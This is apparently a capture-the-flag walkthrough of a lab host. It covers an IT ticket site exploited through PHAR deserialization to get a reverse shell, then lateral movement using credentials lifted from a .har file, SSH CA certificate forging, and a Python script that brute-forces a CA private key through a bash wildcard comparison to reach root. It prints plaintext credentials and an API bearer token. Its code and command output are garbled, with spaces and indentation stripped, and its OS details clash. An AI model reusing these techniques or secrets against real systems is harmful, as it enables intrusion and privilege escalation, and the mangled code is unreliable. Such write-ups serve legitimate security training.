This is an Ubuntu 22.04 machine used by an IT team. The host runs a web server where the users can open IT tickets and upload ZIP files. This functionality is vulnerable to PHAR deserialization and this allows us to gain a first shell in the system as www-data. Then we move laterally to another user with credentials found in the file system, and move laterally again to collect the user flag with an old CA key pair found in the system. Regarding escalation, we have to move laterally between users. First we use a local API that signs key pairs for different roles (principals). Eventually, we land in an user environment whose sudo configuration permits running an script vulnerable to wildcard injection. Abusing this we finally get a root shell.
Add to hosts file and inspect the site with Firefox. An IT ticket management site appears, you can register a new user and login.
The application allows users to create tickets, and offers the possibility of uploading ZIP files.
Let's prepare a PHP reverse shell, compress as ZIP and upload using the application. Take note of the name of the PHP file (shell.php), it will be needed later. Once it is uploaded, you can open the ticket and check the ZIP file upload path by hovering the mouse over the ZIP file.
The payload must include the path to the ZIP file plus the name of the PHP reverse shell file without extension. In this case, shell file is called shell.php, so we just append shell at the end of the payload.
A reverse shell for user www-data is received on port 1919.
Navigate to /var/www/itrc/uploads, there is a bunch of ZIP files there. Unzip the file c2f4813259cc57fab36b311c5058cf031cb6eb51.zip there is a .har file inside.
Inside the file there are credentials for user msainristil:82yards2closeit
Use them to SSH into the host.
This shell is not valid for the user flag, so next step is to find another user to move laterally. Enumerate the system users with an associated shell.
> ssh-keygen -t rsa -b 2048 -f stuff Generatingpublic/privatersakeypair.Enterpassphrase (empty fornopassphrase):Entersamepassphraseagain:YouridentificationhasbeensavedinstuffYourpublickeyhasbeensavedinstuff.pubThekeyfingerprintis:SHA256:luiRsjMYE8wiwQBKl24EoTy6G+i8o2Utvxe4mn09CAwmsainristil@itrcThekey's randomart image is:+---[RSA 2048]----+|B+o.. ||==.o ||=o* ||o.E+ o . ||. +o..+ S ||.. =++.o ||+ = =o.+ ||o* =.o+ o ||++=.++ . |+----[SHA256]-----+> ls -hal stuff*-rw------- 1 msainristil msainristil 1.8K Aug 10 14:43 stuff-rw-r--r-- 1 msainristil msainristil 398 Aug 10 14:43 stuff.pub
Now sign the public key for zzinter (flag -n) using the CA private key (-s flag). An additional flag -I is needed and indicates user's identity, typically an email address, but anything can be specified in this field.
Start from the low-priv zzinter shell and take the opportunity to enumerate the system.
> uname -a &&cat/etc/os-releaseLinuxitrc5.15.0-117-generic#127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64 GNU/LinuxPRETTY_NAME="Debian GNU/Linux 12 (bookworm)"NAME="Debian GNU/Linux"VERSION_ID="12"VERSION="12 (bookworm)"VERSION_CODENAME=bookwormID=debianHOME_URL="https://www.debian.org/"SUPPORT_URL="https://www.debian.org/support"BUG_REPORT_URL="https://bugs.debian.org/"
Let's have a look at the sign_key_api.sh script in the home directory.
#!/bin/bashusage() {echo"Usage: $0 <public_key_file> <username> <principal>"exit1}if [ "$#"-ne3 ]; thenusagefipublic_key_file="$1"username="$2"principal_str="$3"supported_principals="webserver,analytics,support,security"IFS=','read-raprincipal<<<"$principal_str"for word in"${principal[@]}"; doif!echo"$supported_principals"|grep-qw"$word"; thenecho"Error: '$word' is not a supported principal."echo"Choose from:"echo" webserver - external web servers - webadmin user"echo" analytics - analytics team databases - analytics user"echo" support - IT support server - support user"echo" security - SOC servers - support user"echousagefidoneif [ !-f"$public_key_file" ]; thenecho"Error: Public key file '$public_key_file' not found."usagefipublic_key=$(cat $public_key_file)curl-ssignserv.ssg.htb/v1/sign-d'{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}'-H"Content-Type: application/json"-H"Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
Looks like a script to sign public keys with an internal API assigning then certain allowed roles (principals).
The syntax is: ./sign_key_api.sh <key.pub> <username> <principal>
Where the values allowed for <principal> are: webserver, analytics, support or security
One interesting thing is that this script is owned by root, so we cannot run it in the host.
> ls -haltotal32Kdrwx------1zzinterzzinter4.0KAug1507:14.drwxr-xr-x1rootroot4.0KAug1311:13..lrwxrwxrwx1rootroot9Aug1311:13.bash_history ->/dev/null-rw-r--r--1zzinterzzinter220Mar292024.bash_logout-rw-r--r--1zzinterzzinter3.5KMar292024.bashrc-rw-r--r--1zzinterzzinter807Mar292024.profile-rw-rw-r--1rootroot1.2KFeb192024sign_key_api.sh-rw-r-----1rootzzinter33Feb192024user.txt
So we have 2 options, first option would be to exfiltrate the script with scp so we can sign our own public keys locally in Kali.
It seems the API outputs a signed certificate containing the public key. Copy the certificate as support.cert and use it to connect to the host as user support (use port 2222).
In this case the certificate is correctly generated for zzinter_temp. Copy as zzinter_temp.cert and update permissions. Then use it to connect to the host, we receive a shell as user zzinter
#!/bin/bashusage() {echo"Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"exit1}if [ "$#"-ne5 ]; thenusagefica_file="$1"public_key_file="$2"username="$3"principal_str="$4"serial="$5"if [ !-f"$ca_file" ]; thenecho"Error: CA file '$ca_file' not found."usagefiitca=$(cat/etc/ssh/ca-it)ca=$(cat"$ca_file")if [[ $itca == $ca ]]; thenecho"Error: Use API for signing with this CA."usagefiif [ !-f"$public_key_file" ]; thenecho"Error: Public key file '$public_key_file' not found."usagefisupported_principals="webserver,analytics,support,security"IFS=','read-raprincipal<<<"$principal_str"for word in"${principal[@]}"; doif!echo"$supported_principals"|grep-qw"$word"; thenecho"Error: '$word' is not a supported principal."echo"Choose from:"echo" webserver - external web servers - webadmin user"echo" analytics - analytics team databases - analytics user"echo" support - IT support server - support user"echo" security - SOC servers - support user"echousagefidoneif! [[ $serial =~ ^[0-9]+$ ]]; thenecho"Error: '$serial' is not a number."usagefissh-keygen-s"$ca_file"-z"$serial"-I"$username"-V-1w:forever-n"$principal""$public_key_file"
This code is vulnerable to wildcard injection, similar to what we found in Week 6. Codify (Season 3). The vulnerable part of the code is here:
itca=$(cat/etc/ssh/ca-it)ca=$(cat"$ca_file")if [[ $itca == $ca ]]; thenecho"Error: Use API for signing with this CA."usagefi
Basically, the script takes the ca_file entered by the user in the arguments and compares it with /etc/ssh/ca-it, but a double square bracket is used for the comparison, meaning that the statement will be true in the case we use wildcards in the ca-file
For example, both strings "ABCDEFGH..." and "A*" will be evaluated as true. Note that this will not happen if we use single square brackets.
The following Python script is similar to what we did inWeek 6. Codify (Season 3), and it dumps the contents of the /etc/ssh/ca-it file.
import osimport stringimport subprocesschars = string.ascii_letters + string.digits +'-+=/'header ="-----BEGIN OPENSSH PRIVATE KEY-----\n"footer ="\n-----END OPENSSH PRIVATE KEY-----"key = []whileTrue: found =Falsefor char in chars: testKey = header +"".join(key)+ char +'*'withopen('/var/tmp/ca_file', 'w', encoding='utf-8')as f: f.write(testKey) result = subprocess.run( ['bash', '-c', f"echo -n '{testKey}' > /var/tmp/ca_file; sudo /opt/sign_key.sh /var/tmp/ca_file /var/tmp/root.pub root security 12334"], capture_output=True, text=True )if"Error: Use API for signing with this CA."in result.stdout: key.append(char)print("Char found\n")print(f"{key}") found =Trueiflen(key)>0and (len(key)%70==0): key.append("\n")breakifnot found:breaktestKey = header +"".join(key)+ footerwithopen('/var/tmp/ca_file', 'w', encoding='utf-8')as f: f.write(testKey)print(testKey)
Copy to the host and run, shortly after the root private key is bruteforced.